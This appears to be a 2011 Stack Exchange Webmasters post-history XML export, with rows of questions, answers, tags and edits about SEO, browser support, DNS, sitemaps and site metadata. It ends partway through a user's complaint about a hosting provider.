  <row Id="26309" PostHistoryTypeId="3" PostId="11593" RevisionGUID="25c5604d-5673-46b2-b3ee-44c4294938e9" CreationDate="2011-04-04T06:51:45.107" UserId="6551" Text="&lt;email&gt;&lt;spam&gt;" />
  <row Id="26311" PostHistoryTypeId="5" PostId="11560" RevisionGUID="08c70655-6693-4511-a36d-267df1b331b2" CreationDate="2011-04-04T07:21:04.703" UserId="3590" Comment="added 182 characters in body" Text="After having read various articles on this site about WWW or Non-WWW website setup, [here][1], [here][2] and [here][3], and after having setup a correct redirection rule in .Htaccess to at least eliminate duplicate contents (currently the non-www solution (e.g. `http://website.com`) I have a feeling that my site rank less since I changed this. &#xD;&#xA;&#xD;&#xA;My confusion was strengthened by these two opponents: &#xD;&#xA;&#xD;&#xA;[**http://no-www.org**][4]  &amp;   [**http://www.yes-www.org**][5]&#xD;&#xA;&#xD;&#xA;Could the change of www.website.com &gt;&gt; http://website.com have a factural impact on ranking? [Google does *not* explicitely][6] say either is better or worse. Are they holding information back?&#xD;&#xA;&#xD;&#xA;`I am confused fellow folks...`&#xD;&#xA;&#xD;&#xA;As much as I would like to separate facts from fiction, I am aware that not all the good valid information is written. Not on google webmaster site and perhaps not elsewhere. If so it seems out of date!&#xD;&#xA;&#xD;&#xA;**Does or doest not a WWW domain impact seo/rank better than its NON-WWW version?**  &#xD;&#xA;(Given that you have setup a proper redirect to avoid duplicates and go with one)&#xD;&#xA;&#xD;&#xA;Thanks very much for your light.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/6107/www-yoursite-com-or-http-yoursite-com-which-one-is-futureproof&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/1734/removing-non-www-support&#xD;&#xA;  [3]: http://webmasters.stackexchange.com/questions/8964/is-was-seo-the-only-reason-to-force-the-www-on-domain-names&#xD;&#xA;  [4]: http://no-www.org&#xD;&#xA;  [5]: http://www.yes-www.org&#xD;&#xA;  [6]: http://www.google.com/support/webmasters/bin/answer.py?answer=44231" />
  <row Id="26312" PostHistoryTypeId="17" PostId="11596" RevisionGUID="9dea238f-64e1-4afd-a4f5-7e94a25cb2f5" CreationDate="2011-04-04T07:42:35.013" UserId="-1" Comment="from http://stackoverflow.com/questions/5524733/which-versions-of-internet-explorer-should-i-support/5524751#5524751" Text="" />
  <row Id="26313" PostHistoryTypeId="17" PostId="11597" RevisionGUID="95daa3f3-a0a6-464d-ab70-7dc457c05155" CreationDate="2011-04-04T07:42:35.013" UserId="-1" Comment="from http://stackoverflow.com/questions/5524733/which-versions-of-internet-explorer-should-i-support/5524761#5524761" Text="" />
  <row Id="26314" PostHistoryTypeId="17" PostId="11598" RevisionGUID="be2565fe-6ef8-4b6a-a6d9-6ce06fa2f62a" CreationDate="2011-04-04T07:42:35.013" UserId="-1" Comment="from http://stackoverflow.com/questions/5524733/which-versions-of-internet-explorer-should-i-support/5524767#5524767" Text="" />
  <row Id="26315" PostHistoryTypeId="17" PostId="11599" RevisionGUID="f18d7567-317b-447c-843d-4034e0c25d03" CreationDate="2011-04-04T07:42:35.013" UserId="-1" Comment="from http://stackoverflow.com/questions/5524733/which-versions-of-internet-explorer-should-i-support/5524775#5524775" Text="" />
  <row Id="26316" PostHistoryTypeId="17" PostId="11600" RevisionGUID="8477168f-1272-4927-baf7-cd2d61d341e1" CreationDate="2011-04-04T07:42:35.013" UserId="-1" Comment="from http://stackoverflow.com/questions/5524733/which-versions-of-internet-explorer-should-i-support/5524777#5524777" Text="" />
  <row Id="26317" PostHistoryTypeId="17" PostId="11601" RevisionGUID="a05b8276-2d8a-41ec-9dab-5d9bab7719ac" CreationDate="2011-04-04T07:42:35.013" UserId="-1" Comment="from http://stackoverflow.com/questions/5524733/which-versions-of-internet-explorer-should-i-support/5524794#5524794" Text="" />
  <row Id="26318" PostHistoryTypeId="17" PostId="11602" RevisionGUID="178aee81-10c4-44e3-9102-a9a312c41ad6" CreationDate="2011-04-04T07:42:35.013" UserId="-1" Comment="from http://stackoverflow.com/questions/5524733/which-versions-of-internet-explorer-should-i-support/5524796#5524796" Text="" />
  <row Id="26319" PostHistoryTypeId="17" PostId="11603" RevisionGUID="a497abcd-c448-403b-a897-bbac2c6401d8" CreationDate="2011-04-04T07:42:35.013" UserId="-1" Comment="from http://stackoverflow.com/questions/5524733/which-versions-of-internet-explorer-should-i-support/5524805#5524805" Text="" />
  <row Id="26320" PostHistoryTypeId="2" PostId="11596" RevisionGUID="a65bde22-db16-4611-a060-94e34b711c5f" CreationDate="2011-04-02T17:37:48.677" UserDisplayName="JTWebMan" Text="Here is a great site helping with browser states. I selected IE for the link: &#xD;&#xA;&#xD;&#xA;http://www.w3schools.com/browsers/browsers_explorer.asp" />
  <row Id="26321" PostHistoryTypeId="2" PostId="11601" RevisionGUID="5e8d4531-2b64-4848-95da-b2f8b66a56a5" CreationDate="2011-04-02T17:43:25.293" UserDisplayName="Andrew Marshall" Text="Wikipedia has a [list of resources that provide browser usage statistics][1] that can be helpful in determining the user loss by not supporting certain browsers. The top ones are:&#xD;&#xA;&#xD;&#xA; - [Net Applications][2]&#xD;&#xA; - [Stat Counter][3]&#xD;&#xA;&#xD;&#xA;Once your site is up and running, though, you should use analytics software, such as [Google Analytics][4], to gather statistics on what browsers visitors to your site are using so you can gauge how many users you'll be losing by not supporting certain browsers.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Usage_share_of_web_browsers&#xD;&#xA;  [2]: http://marketshare.hitslink.com/browser-market-share.aspx?qprid=0&#xD;&#xA;  [3]: http://gs.statcounter.com/&#xD;&#xA;  [4]: http://www.google.com/analytics/" />
  <row Id="26322" PostHistoryTypeId="2" PostId="11597" RevisionGUID="eb96263a-d87a-4ecc-936a-aa56fb768a39" CreationDate="2011-04-02T17:39:07.537" UserId="241" Text="This depends massively on the site you're making. A major bank's website needs to work in IE6. Twitter.com doesn't. If you're building a corporate intranet, some companies are stuck on IE6 for legacy reasons. There are huge numbers of variables like this.&#xD;&#xA;&#xD;&#xA;Our rule of thumb tends to be &quot;it should look good in IE7+, and be at least functional in IE6&quot; for our projects, but it varies based on the client." />
  <row Id="26323" PostHistoryTypeId="2" PostId="11598" RevisionGUID="a87dd916-2b4d-4ba4-a774-db46bdec2dca" CreationDate="2011-04-02T17:39:29.610" UserDisplayName="MiG" Text="I usually do &gt;= IE7 as a rule of thumb these days. IE6 is fairly easy to accomplish but usually requires a bit of extra tweaking. So unless it is a requirement I leave it at &gt;= IE7." />
  <row Id="26324" PostHistoryTypeId="2" PostId="11599" RevisionGUID="230fa899-f4c1-47e8-8347-2b180a3a7049" CreationDate="2011-04-02T17:40:21.893" UserDisplayName="phpabuse" Text="If you are freelancing then you should in my opinion drop IE6,&#xD;&#xA;&#xD;&#xA;the longer people still support it the longer it will still bother us." />
  <row Id="26325" PostHistoryTypeId="2" PostId="11600" RevisionGUID="dfea169e-321c-4863-994b-391c72fabb25" CreationDate="2011-04-02T17:40:27.207" UserDisplayName="Marek Karbarz" Text="There's no one good answer to a question like that.  Who is your target audience?  Where will they be accessing the site from (home computers where they can control the browser, or work where they might be forced to use older browsers)?  Will the functionality suffer with old browser support?" />
  <row Id="26326" PostHistoryTypeId="2" PostId="11602" RevisionGUID="ff1c3dd9-bc64-41af-9ef1-b0c0bc01164d" CreationDate="2011-04-02T17:43:36.113" UserDisplayName="klabranche" Text="Even MS is trying to forget about IE6. http://ie6countdown.com/" />
  <row Id="26327" PostHistoryTypeId="2" PostId="11603" RevisionGUID="9235bb57-820b-4994-ba3c-8a88895cac9e" CreationDate="2011-04-02T17:45:17.750" UserDisplayName="tbranyen" Text="Design with baseline CSS and HTML and with a serverside component.  Progressively enhance functionality with JavaScript and HTML5/CSS3 shizzle.  It will work in antiquated browsers, but may not look great.  You should always aim for functional, but not hold yourself back on aesthetics.  &#xD;&#xA;&#xD;&#xA;Your audience will not be comparing the site in IE6 and Chrome, anyone stuck with IE 5.5/6.0 is already in for a world of pain in the web and will expect nothing less." />
  <row Id="26328" PostHistoryTypeId="2" PostId="11595" RevisionGUID="7d0c0beb-a04b-4a6f-9a44-3defd879dcd2" CreationDate="2011-04-02T17:35:15.493" UserDisplayName="spryno724" Text="I have recently built a template for a website that I see looks _very_ different in different versions of Internet Explorer. I was wondering, as a rule of thumb, which versions of Internet Explorer are worth supporting? IE6 and up? IE7 and up?" />
  <row Id="26329" PostHistoryTypeId="1" PostId="11595" RevisionGUID="7d0c0beb-a04b-4a6f-9a44-3defd879dcd2" CreationDate="2011-04-02T17:35:15.493" UserDisplayName="spryno724" Text="Which Versions of Internet Explorer Should I Support?" />
  <row Id="26330" PostHistoryTypeId="3" PostId="11595" RevisionGUID="7d0c0beb-a04b-4a6f-9a44-3defd879dcd2" CreationDate="2011-04-02T17:35:15.493" UserDisplayName="spryno724" Text="&lt;css&gt;&lt;web-development&gt;&lt;internet-explorer&gt;" />
  <row Id="26331" PostHistoryTypeId="17" PostId="11595" RevisionGUID="e7f6baf0-c525-48fc-bca5-67b575b7d656" CreationDate="2011-04-04T07:42:35.013" UserId="-1" Comment="from http://stackoverflow.com/questions/5524733/which-versions-of-internet-explorer-should-i-support" Text="" />
  <row Id="26333" PostHistoryTypeId="2" PostId="11605" RevisionGUID="dd8c5b12-a17f-4769-a9f3-1cfe80ad8338" CreationDate="2011-04-04T08:06:49.717" UserId="6482" Text="I run timthumb.php and ran a speed test and the tests said timthumb's cache was set for less than 30 days http://www.webpagetest.org/result/110404_RR_AMX6/1/performance_optimization/#cache_static_content . im having trouble setting it to more than 10 days through the script itself. i found this bit of code and changed it from 10 to 31 &quot;$gmdate_expires = gmdate ('D, d M Y H:i:s', strtotime ('now +31 days')) . ' GMT';&quot; but that didnt work. am i supposed to do it via htaccess somehow?" />
  <row Id="26334" PostHistoryTypeId="1" PostId="11605" RevisionGUID="dd8c5b12-a17f-4769-a9f3-1cfe80ad8338" CreationDate="2011-04-04T08:06:49.717" UserId="6482" Text="Changing TumThumb Expires" />
  <row Id="26335" PostHistoryTypeId="3" PostId="11605" RevisionGUID="dd8c5b12-a17f-4769-a9f3-1cfe80ad8338" CreationDate="2011-04-04T08:06:49.717" UserId="6482" Text="&lt;cache&gt;" />
  <row Id="26336" PostHistoryTypeId="2" PostId="11606" RevisionGUID="8091919f-e13a-40b6-8ef8-c41caf22558c" CreationDate="2011-04-04T08:22:57.060" UserId="1643" Text="Because if the content is compelling then users are prepared to put up with the lack of usability to get what they want done. Also, each of those sites works because they are the most popular in their field. If there were lots of user-editable encyclopaedias then none of them would be successful because you'd have to look up information on each one. Wikipedia works well because it is the main place to go for reference material on a broad range of subjects.&#xD;&#xA;&#xD;&#xA;However for the rest of us creating websites, unless we can find something that no other site caters for, we have to compete with lots of other people in the same area - companies offering similar products or services. So the way to stand out for us it is to make something that's easier to use, then people will use our site rather than the other sites in the same field." />
  <row Id="26337" PostHistoryTypeId="2" PostId="11607" RevisionGUID="2a61a906-f1b7-4353-8bd7-54c9bcdaff0a" CreationDate="2011-04-04T08:26:00.037" UserId="3111" Text="There is one called [HawHaw][1], and there's something that facebook uses made up of the following items:&#xD;&#xA;&#xD;&#xA;- [XHP][2] for PHP&#xD;&#xA;- [Javelin JS][3]&#xD;&#xA;&#xD;&#xA;This probably the most modern approach.&#xD;&#xA;&#xD;&#xA;[Facebook Engineering: one mobile site to serve thousands of phones][4]&#xD;&#xA;&#xD;&#xA;  [1]: http://www.hawhaw.de&#xD;&#xA;  [2]: https://github.com/facebook/xhp&#xD;&#xA;  [3]: http://www.javelinjs.com/&#xD;&#xA;  [4]: http://www.facebook.com/notes/facebook-engineering/one-mobile-site-to-serve-thousands-of-phones/10150122073713920" />
  <row Id="26338" PostHistoryTypeId="2" PostId="11608" RevisionGUID="1fa93c1e-e6b7-4c1b-bbfc-3181983f7895" CreationDate="2011-04-04T08:33:54.540" UserId="1943" Text="An important part of our site will be the photo part in which we'll have artistic photos (no snapshots, no stock).&#xD;&#xA;&#xD;&#xA;We'll have different areas there like 'Recent additions', 'Popular' etc. For these areas, besides the classical plain-vanilla thumbnail row, can someone give other techniques for represent these series of images?&#xD;&#xA;&#xD;&#xA;We're looking for something distinctive, outstanding and intuitive as well. Don't forget that the photos are mainly artistic.&#xD;&#xA;&#xD;&#xA;TIA for your responses." />
  <row Id="26339" PostHistoryTypeId="1" PostId="11608" RevisionGUID="1fa93c1e-e6b7-4c1b-bbfc-3181983f7895" CreationDate="2011-04-04T08:33:54.540" UserId="1943" Text="Design Techniques to represent a series of photos in a website" />
  <row Id="26340" PostHistoryTypeId="3" PostId="11608" RevisionGUID="1fa93c1e-e6b7-4c1b-bbfc-3181983f7895" CreationDate="2011-04-04T08:33:54.540" UserId="1943" Text="&lt;website-design&gt;&lt;thumbnail&gt;" />
  <row Id="26341" PostHistoryTypeId="2" PostId="11609" RevisionGUID="885fa22b-8dca-4908-abbe-c4b84778ad1e" CreationDate="2011-04-04T09:07:37.270" UserId="6554" Text="I think you misunderstand the concept of usability.&#xD;&#xA;&#xD;&#xA;You might dislike Craigslist design, but the usability is good.  &#xD;&#xA;Just test it: open the website and ask you mom to find bikes to buy.  &#xD;&#xA;She will take about 2 sec to find the link on the homepage, and you're done.  &#xD;&#xA;Lists of blue links are easy to understand.  &#xD;&#xA;That's usability.&#xD;&#xA;&#xD;&#xA;You understand the point with Twitter, and they've added a way to get the &quot;reply from&quot; tweet. At least gwibber (linux client) displays the link to it.&#xD;&#xA;&#xD;&#xA;For wikipedia, the discussions are not the main face of the website.  &#xD;&#xA;The thing is that it's easy to contribute: click Edit, and go!  &#xD;&#xA;And then you learn the syntax easily by copying what you see on other pages.  &#xD;&#xA;Your mom could do it.&#xD;&#xA;&#xD;&#xA;About usability: yes, it improves user experience, if done well.  &#xD;&#xA;But, depending on context, some well-known usability advice might work or not.  &#xD;&#xA;For example, &quot;OK buttons are green, Cancel are red&quot;.  &#xD;&#xA;If you do that, everyone will instinctively understand your buttons.  &#xD;&#xA;But your webdesigner will complain: green is not in the color palette used on the website, and adding something green in a purple/brown website will be ugly, so you go for a blue OK and a purple Cancel....&#xD;&#xA;" />
  <row Id="26342" PostHistoryTypeId="25" PostId="11608" RevisionGUID="095d4418-049f-4ecb-bcbe-fb3a13fea26a" CreationDate="2011-04-04T09:09:00.700" Comment="http://twitter.com/#!/StackWebmasters/status/54832832471760896" />
  <row Id="26343" PostHistoryTypeId="10" PostId="11591" RevisionGUID="b579d341-acfe-46b7-940d-7a82e4117cbb" CreationDate="2011-04-04T09:38:34.760" UserId="1064" CloseReasonId="4" Text="[{&quot;Id&quot;:1064,&quot;DisplayName&quot;:&quot;danlefree&quot;}]" />
  <row Id="26344" PostHistoryTypeId="2" PostId="11610" RevisionGUID="73e5a59d-a0ad-4730-a926-3cb944f0c478" CreationDate="2011-04-04T09:55:34.700" UserId="5739" Text="Really depends on what other functionality they require or may require in the future.&#xD;&#xA;&#xD;&#xA;It might be worth looking at the feature list of say [PrestaShop][1] and comparing it with PayPal buttons and asking your client if any of them are must haves or would likes.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.prestashop.com/en/features" />
  <row Id="26345" PostHistoryTypeId="2" PostId="11611" RevisionGUID="d75edaf2-5d5a-45b9-b576-17575ab12726" CreationDate="2011-04-04T10:52:35.997" UserId="6515" Text="When I create a DNS record for website &quot;www.website.com&quot;, is it necessary to create a record for &quot;website.com&quot; first?" />
  <row Id="26346" PostHistoryTypeId="1" PostId="11611" RevisionGUID="d75edaf2-5d5a-45b9-b576-17575ab12726" CreationDate="2011-04-04T10:52:35.997" UserId="6515" Text="Is it necessary to create a DNS record for &quot;website.com&quot; when create one for &quot;www.website.com&quot;" />
  <row Id="26347" PostHistoryTypeId="3" PostId="11611" RevisionGUID="d75edaf2-5d5a-45b9-b576-17575ab12726" CreationDate="2011-04-04T10:52:35.997" UserId="6515" Text="&lt;dns&gt;&lt;webserver&gt;" />
  <row Id="26348" PostHistoryTypeId="2" PostId="11612" RevisionGUID="d20160e9-53bc-4055-97b2-a2025f99697e" CreationDate="2011-04-04T10:54:56.143" UserId="4311" Text="You have to have NS and SOA records for website.com. You don't technically have to have an A record, but I would recommend that you do." />
  <row Id="26349" PostHistoryTypeId="2" PostId="11613" RevisionGUID="c348148b-7b23-44c2-b72b-4bb1034104cb" CreationDate="2011-04-04T11:05:00.823" UserId="791" Text="In the &quot;[Inclusion Guidelines for Webmasters][1]&quot; for [Google Scholar][2] is written under Indexing Guidelines:&#xD;&#xA;&#xD;&#xA;&gt; Google Scholar supports Highwire Press tags (e.g., citation_title), Eprints tags (e.g., eprints.title), BE Press tags (e.g., bepress_citation_title), and PRISM tags (e.g., prism.title). Use Dublin Core tags (e.g., DC.title) as a last resort&#xD;&#xA;&#xD;&#xA;For a new website. Which of these options (Eprints, BE Press or PRISM) is the best, and where are these tags documented?&#xD;&#xA;&#xD;&#xA;  [1]: http://scholar.google.com/intl/en/scholar/inclusion.html&#xD;&#xA;  [2]: http://scholar.google.com" />
  <row Id="26350" PostHistoryTypeId="1" PostId="11613" RevisionGUID="c348148b-7b23-44c2-b72b-4bb1034104cb" CreationDate="2011-04-04T11:05:00.823" UserId="791" Text="Indexing for Google scholar, which tags to use?" />
  <row Id="26351" PostHistoryTypeId="3" PostId="11613" RevisionGUID="c348148b-7b23-44c2-b72b-4bb1034104cb" CreationDate="2011-04-04T11:05:00.823" UserId="791" Text="&lt;indexing&gt;" />
  <row Id="26352" PostHistoryTypeId="2" PostId="11614" RevisionGUID="dd4777cc-61dd-46f5-ac0b-2ff6fe95c7f5" CreationDate="2011-04-04T11:32:50.493" UserId="5727" Text="SO used adzerk to serve adverts.  I'm a bit confused by it though, what's it do and what's the point of it?  Why can't SO serve their own adverts?" />
  <row Id="26353" PostHistoryTypeId="1" PostId="11614" RevisionGUID="dd4777cc-61dd-46f5-ac0b-2ff6fe95c7f5" CreationDate="2011-04-04T11:32:50.493" UserId="5727" Text="Why use adzerk?" />
  <row Id="26354" PostHistoryTypeId="3" PostId="11614" RevisionGUID="dd4777cc-61dd-46f5-ac0b-2ff6fe95c7f5" CreationDate="2011-04-04T11:32:50.493" UserId="5727" Text="&lt;advertising&gt;&lt;adzerk&gt;" />
  <row Id="26355" PostHistoryTypeId="6" PostId="11613" RevisionGUID="82d2a35a-1a99-45b7-ac7e-59afd6fdf9e2" CreationDate="2011-04-04T11:36:21.547" UserId="1643" Comment="Added a couple of tags as suggested by a commenter." Text="&lt;indexing&gt;&lt;metadata&gt;&lt;google-scholar&gt;" />
  <row Id="26356" PostHistoryTypeId="24" PostId="11613" RevisionGUID="82d2a35a-1a99-45b7-ac7e-59afd6fdf9e2" CreationDate="2011-04-04T11:36:21.547" Comment="Proposed by 1643 approved by 791 edit id of 96" />
  <row Id="26357" PostHistoryTypeId="2" PostId="11615" RevisionGUID="cc47e7fc-1597-4a84-94e9-b90269251875" CreationDate="2011-04-04T11:39:19.157" UserId="4142" Text="One thing to keep in mind is that DNS does not provide a redirect - adding an A or CNAME record will only provide your IP address to people that type in that URL. If you only add one of these two records, www.example.com and example.com would *both* resolve to your web server, essentially giving each page on your site two addresses and potentially wreaking havoc with any statistics you're keeping.&#xD;&#xA;&#xD;&#xA;You would have to set up an additional 301 redirect, via server-side redirects or the HTML redirects you were mentioning, before visitors would always be redirected to use the example.com version of your site." />
  <row Id="26358" PostHistoryTypeId="2" PostId="11616" RevisionGUID="0f4f81e0-a444-4f42-8f77-7c88e6335d58" CreationDate="2011-04-04T11:42:32.377" UserId="6555" Text="Google external tool and digital traffic tool they both are great and accurate tool . florida-teachingsolutions.com&#xD;&#xA;" />
  <row Id="26359" PostHistoryTypeId="5" PostId="11616" RevisionGUID="56b97004-a927-47fa-b133-efd8b317425c" CreationDate="2011-04-04T11:51:02.670" UserId="1253" Comment="removed spam portion of answer" Text="Google external tool and digital traffic tool they both are great and accurate tool . " />
  <row Id="26366" PostHistoryTypeId="2" PostId="11617" RevisionGUID="72c2b1ee-b3a6-4a60-a498-d22198e6ed9d" CreationDate="2011-04-04T11:59:03.600" UserId="1253" Text="They're probably just testing your form to see if it is vulnerable. If it succeeds your site probably gets added to an automated tool and then will get &quot;normal&quot; spam on a regular basis." />
  <row Id="26370" PostHistoryTypeId="10" PostId="11541" RevisionGUID="55dc3b8b-e561-4da9-ade0-035601061165" CreationDate="2011-04-04T12:01:09.107" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="26371" PostHistoryTypeId="25" PostId="11613" RevisionGUID="2c2a1518-f239-4acf-909c-3d6ecff72d91" CreationDate="2011-04-04T12:09:00.540" Comment="http://twitter.com/#!/StackWebmasters/status/54878130820755456" />
  <row Id="26372" PostHistoryTypeId="2" PostId="11618" RevisionGUID="855ba424-a50d-4722-8b8e-6f041a480937" CreationDate="2011-04-04T13:05:08.707" UserId="1643" Text="I think this question [how does Stackoverflow serve ads?][1] should help.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://meta.stackoverflow.com/questions/81813/how-does-stackoverflow-serve-ads" />
  <row Id="26373" PostHistoryTypeId="2" PostId="11619" RevisionGUID="645f71a2-1125-4530-84ee-7dc695fbd937" CreationDate="2011-04-04T13:06:18.363" UserId="2288" Text="For example:&#xD;&#xA;&#xD;&#xA; - Storage regulation credit credits, patient information&#xD;&#xA; - Documenting compliance: CAN-SPAM" />
  <row Id="26374" PostHistoryTypeId="1" PostId="11619" RevisionGUID="645f71a2-1125-4530-84ee-7dc695fbd937" CreationDate="2011-04-04T13:06:18.363" UserId="2288" Text="Surviving an system audit, what are categories of regulation and/or compliance?" />
  <row Id="26375" PostHistoryTypeId="3" PostId="11619" RevisionGUID="645f71a2-1125-4530-84ee-7dc695fbd937" CreationDate="2011-04-04T13:06:18.363" UserId="2288" Text="&lt;regulation&gt;&lt;compliance&gt;" />
  <row Id="26376" PostHistoryTypeId="2" PostId="11620" RevisionGUID="25a0616a-a3cd-4387-a525-c5c7ebef9e4b" CreationDate="2011-04-04T13:10:15.270" UserId="3461" Text="There is a related question to these matters [here][1]. I hope it helps somehow.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/7322/how-to-find-a-good-photo-gallery-for-my-website/7362" />
  <row Id="26377" PostHistoryTypeId="5" PostId="7362" RevisionGUID="370fb751-8e08-4c2c-bb46-d45631f6db51" CreationDate="2011-04-04T13:13:47.903" UserId="3461" Comment="added 37 characters in body" Text="[Coppermine][1] is updated quite often, and this [BitNami installer][2] makes it really easy to setup this gallery. It has the two features you are asking for :)  (and much more)&#xD;&#xA;&#xD;&#xA;Another one having that functionality is [Gallery][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://coppermine-gallery.net&#xD;&#xA;  [2]: http://bitnami.org/stack/coppermine&#xD;&#xA;  [3]: http://gallery.menalto.com" />
  <row Id="26378" PostHistoryTypeId="2" PostId="11621" RevisionGUID="36df289d-f2ca-4347-8aeb-dd66e072f571" CreationDate="2011-04-04T13:18:25.390" UserId="1253" Text="Assuming you mean potential compliance issues a website might encounter:&#xD;&#xA;&#xD;&#xA; - PCI DSS (credit card information)&#xD;&#xA; - HIPAA (medical records privacy)" />
  <row Id="26379" PostHistoryTypeId="5" PostId="11621" RevisionGUID="a25b3004-f10d-47e2-a1dc-950789adfe83" CreationDate="2011-04-04T13:23:58.990" UserId="1253" Comment="added 89 characters in body" Text="Assuming you mean potential compliance issues a website might encounter:&#xD;&#xA;&#xD;&#xA; - PCI DSS (credit card information)&#xD;&#xA; - HIPAA (medical records privacy)&#xD;&#xA;&#xD;&#xA;This list can be quite long depending on the industry and country the business is in." />
  <row Id="26380" PostHistoryTypeId="16" PostId="11619" RevisionGUID="2576a019-1ee8-4071-b93e-a310b6be753d" CreationDate="2011-04-04T13:31:56.023" UserId="1253" />
  <row Id="26381" PostHistoryTypeId="6" PostId="11619" RevisionGUID="2576a019-1ee8-4071-b93e-a310b6be753d" CreationDate="2011-04-04T13:31:56.023" UserId="1253" Comment="Made community wiki" Text="&lt;compliance&gt;&lt;regulation&gt;" />
  <row Id="26382" PostHistoryTypeId="2" PostId="11622" RevisionGUID="5877b1bf-f584-4712-9376-51b240e8ff06" CreationDate="2011-04-04T13:40:57.070" UserId="2185" Text="I have written a simple php program to fetch google analytics data. I did this to test how to authenticate and how to get data feeds. it is working well. &#xD;&#xA;&#xD;&#xA;Actually my plan is to display a small window which will update with analytics data at certain time intervals. I will use .net to do so.&#xD;&#xA;&#xD;&#xA;Currently i am using clientlogin method. authsub is meant for web apps and oauth seems to be tedious i guess.&#xD;&#xA;&#xD;&#xA;Shall i be with clientlogin method or do i have to switch on to another.&#xD;&#xA;&#xD;&#xA;With other methods we dont have to mention usename and passwords where as in clientlogin method we have to mention username and password.&#xD;&#xA;&#xD;&#xA;Expecting suggestins, comments and answers." />
  <row Id="26383" PostHistoryTypeId="1" PostId="11622" RevisionGUID="5877b1bf-f584-4712-9376-51b240e8ff06" CreationDate="2011-04-04T13:40:57.070" UserId="2185" Text="google analytics api from desktop which method to use clientlogin, authsub, oauth" />
  <row Id="26384" PostHistoryTypeId="3" PostId="11622" RevisionGUID="5877b1bf-f584-4712-9376-51b240e8ff06" CreationDate="2011-04-04T13:40:57.070" UserId="2185" Text="&lt;google-analytics&gt;" />
  <row Id="26385" PostHistoryTypeId="2" PostId="11623" RevisionGUID="066e11da-1d43-4db5-8b21-e285d7d8cc49" CreationDate="2011-04-04T13:49:40.737" UserDisplayName="Kaivosukeltaja" Text="A SEO company suggested we change the order of our HTML meta tags so that `&lt;title&gt;` and `&lt;meta name=&quot;description&quot;&gt;` are the first two. They say this is to ensure search engines can utilize these two tags. I've been under the impression that the order of tags inside the document's head is not significant. Have I been wrong? Are there really search engines that assume that the first two tags are always `title` and `description` and give up looking for them if they aren't?" />
  <row Id="26386" PostHistoryTypeId="1" PostId="11623" RevisionGUID="066e11da-1d43-4db5-8b21-e285d7d8cc49" CreationDate="2011-04-04T13:49:40.737" UserDisplayName="Kaivosukeltaja" Text="Order of HTML meta tags" />
  <row Id="26387" PostHistoryTypeId="3" PostId="11623" RevisionGUID="066e11da-1d43-4db5-8b21-e285d7d8cc49" CreationDate="2011-04-04T13:49:40.737" UserDisplayName="Kaivosukeltaja" Text="&lt;html&gt;&lt;seo&gt;" />
  <row Id="26388" PostHistoryTypeId="17" PostId="11623" RevisionGUID="af3fc1d0-35b0-4a9a-958b-3415c72daa3b" CreationDate="2011-04-04T13:56:42.780" UserId="-1" Comment="from http://stackoverflow.com/questions/5539446/order-of-html-meta-tags" Text="" />
  <row Id="26389" PostHistoryTypeId="2" PostId="11624" RevisionGUID="6844f31f-1ddf-435a-8205-e74e28a44dec" CreationDate="2011-04-04T14:01:13.840" UserId="1253" Text="You are correct. The order of those tags do not matter for SEO. They just need to be present. Whomever said that is obviously clueless (and of course running an SEO business. Sigh)." />
  <row Id="26390" PostHistoryTypeId="2" PostId="11625" RevisionGUID="b788955e-ce0c-493b-809f-c67f40cf7ea7" CreationDate="2011-04-04T14:24:08.483" UserId="5809" Text="I have been using www.xml-sitemaps.com/ but their limit is 500 pages.  My site has grown beyond that and I am wondering whether there is another tool I can use that I can use to create sitemaps.&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;Alex" />
  <row Id="26391" PostHistoryTypeId="1" PostId="11625" RevisionGUID="b788955e-ce0c-493b-809f-c67f40cf7ea7" CreationDate="2011-04-04T14:24:08.483" UserId="5809" Text="Free unlimited-page sitemap generator?" />
  <row Id="26392" PostHistoryTypeId="3" PostId="11625" RevisionGUID="b788955e-ce0c-493b-809f-c67f40cf7ea7" CreationDate="2011-04-04T14:24:08.483" UserId="5809" Text="&lt;seo&gt;&lt;sitemap&gt;" />
  <row Id="26393" PostHistoryTypeId="2" PostId="11626" RevisionGUID="e488d68a-c657-4409-86e1-11894ee837bc" CreationDate="2011-04-04T14:27:47.137" UserId="6558" Text="Please be warned and do not use Mochahost.com as they will not honor their contract and will sucker you in buying their cheap plans to later demand more payment from you (after your payment has settled) claiming you are using too many resources and forcing you to upgrade your plan. They will not refund you even with their guarantees.  Please review the Better Business Bureau for their F rating.  http://sanjose.bbb.org/ComplaintDetail.aspx?CompanyID=0000235786&#xD;&#xA; &#xD;&#xA; " />
  <row Id="26395" PostHistoryTypeId="5" PostId="11626" RevisionGUID="e1a5d4c0-7fee-48d7-8bdb-8cb81b5f1757" CreationDate="2011-04-04T14:33:52.187" UserId="1253" Comment="added 5287 characters in body" Text="Please be warned and do not use Mochahost.com as they will not honor their contract and will sucker you in buying their cheap plans to later demand more payment from you (after your payment has settled) claiming you are using too many resources and forcing you to upgrade your plan. They will not refund you even with their guarantees.  Please review the Better Business Bureau for their F rating.  &#xD;&#xA;&#xD;&#xA;http://sanjose.bbb.org/Business-Report/Mochahost-235786&#xD;&#xA; &#xD;&#xA;MOCHAHOST.COM REVIEW, COMPLAINT &amp; CLASS ACTION LAWSUIT!  &#xD;&#xA;Mochahost prices are cheap but there is a reason which Mochahost will wrongfully force you to upgrade, after your payment settles (after 60 days), by suspending your account not providing you access to your own data. You can email elawcase@gmail.com for a Class Action Lawsuit against Mochahost.com, provide as much details and let us know if you are willing to attend court hearings in Santa Clara, California. Please continue to report Mochahost.com to the Santa Clara County District Attorney's office, BBB,  California Department of Justice, Office of the Attorney General (AG), the Internet Crime Complaint Center (IC3) which is a partnership between the Federal Bureau of Investigation (FBI), the National White Collar Crime Center (NW3C), and the Bureau of Justice Assistance (BJA).  The FBI's IC3 Unit is organized to handle internet business fraud. All the statements below are true and 